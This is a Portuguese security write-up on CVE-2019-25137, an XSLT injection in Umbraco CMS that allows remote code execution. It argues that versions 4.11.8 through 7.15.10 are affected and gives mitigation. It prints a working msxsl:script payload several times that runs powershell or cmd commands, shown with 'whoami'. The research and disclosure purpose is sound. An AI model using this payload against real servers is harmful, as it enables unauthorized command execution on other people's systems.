
Um writeup investigando a extensão completa da CVE-2019-25137
O CVE-2019-25137 é uma vulnerabilidade de injeção XSLT no Umbraco CMS. A vulnerabilidade está presente na página web do Visualizador XSLT (Extensive Stylesheet Language Transformations). O URI vulnerável para esta página é /umbraco/developer/Xslt/xsltVisualize.aspx.
A exploração bem-sucedida do Visualizador XSLT pode resultar na execução de código C# no sistema alvo. Para explorar a vulnerabilidade, um usuário precisa de credenciais legítimas de administrador no Umbraco CMS.
A prova de conceito para o CVE-2019-25137 utiliza o elemento msxsl:script. Este elemento permite que linguagens de programação adicionais sejam usadas em transformações XSLT, como C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
O payload XSLT tentará executar o seguinte código C#.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
O código C# é dividido nas seguintes instruções – todas as definições estão documentadas no site da Microsoft.
| Função | Visão Geral |
|---|---|
| System.Diagnostics.Process proc | Fornece acesso a processos locais e remotos e permite ao usuário iniciar e parar processos do sistema local, este é chamado de "proc". |
| proc.StartInfo.FileName | Define o nome do aplicativo que o usuário deseja iniciar (powershell ou cmd). |
| proc.StartInfo.Arguments | Define quaisquer variáveis adicionais que possam ser necessárias pelo FileName. |
| proc.StartInfo.UseShellExecute | Um valor que indica se o shell do sistema operacional deve ser usado para iniciar o processo, definido como falso, pois powershell ou cmd é usado. |
| proc.StartInfo.RedirectStandardOutput | Um valor que indica se a saída de um aplicativo é gravada no fluxo StandardOutput, definido como verdadeiro. |
| proc.Start() | Inicia o recurso de processo "proc" e o associa a um componente Process. |
| string output = proc.StandardOutput.ReadToEnd() | Realiza operações de leitura síncrona em "proc" e redireciona para a variável "output". |
Como o Umbraco é um CMS de código aberto, obtive diferentes versões de instalação do site deles para determinar quais versões, tanto antigas quanto novas, ainda podem ter o xsltVisualize.aspx presente.

A análise indica que o arquivo xsltVisualize.aspx existe no Umbraco CMS versão 4.11.8 até a versão 7.15.10. Este arquivo e toda a pasta Development não estão mais presentes nas versões 8.0.0 e superiores.

Para demonstrar que a versão mais antiga também é vulnerável ao CVE-2019-25137, configurei uma instância de teste do Umbraco 4.11.8.

Comparando o xsltVisualize.aspx do Umbraco CMS 4.11.8 com o da versão 7.12.4 do Umbraco CMS demonstra que, embora haja uma pequena quantidade de diferenças, a funcionalidade das páginas é a mesma.

Para testar a exploração, o usuário precisa enviar o payload no campo xsltSelection.

Usando o payload fornecido anteriormente, consegui obter execução remota de código, indicando que esta versão também é vulnerável. A imagem abaixo demonstra a execução do whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Para demonstrar que a versão mais recente do Umbraco com xsltVisualize.aspx também é vulnerável, configurei uma instância de teste do Umbraco 7.15.10.

Comparando o xsltVisualize.aspx do Umbraco CMS 7.15.10 com o da versão 7.12.4 do Umbraco CMS demonstra que eles são idênticos.

Navegando para o URI /umbraco/developer/Xslt/xsltVisualize.aspx indica que o arquivo está de fato presente.

Usando o mesmo payload fornecido anteriormente, consegui obter execução remota de código novamente, indicando que esta versão também é vulnerável. A imagem abaixo demonstra a execução do whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Estes exemplos demonstram que o CVE-2019-25137 está presente em versões do Umbraco diferentes da 7.12.4. Todas as versões entre 4.11.8 e 7.15.10 contêm a página web vulnerável e, portanto, devem ser incluídas na atualização do CVE. O CVE-2019-25137 pode ser mitigado removendo o acesso ao arquivo xsltVisualize.aspx ou atualizando para a versão mais recente do Umbraco.
Data de Lançamento do Umbraco - https://our.umbraco.com/download/releases/774
Versões do Umbraco - https://our.umbraco.com/download/releases
Definição de XSLT - https://en.wikipedia.org/wiki/XSLT
Payload Utilizado - https://github.com/noraj/Umbraco-RCE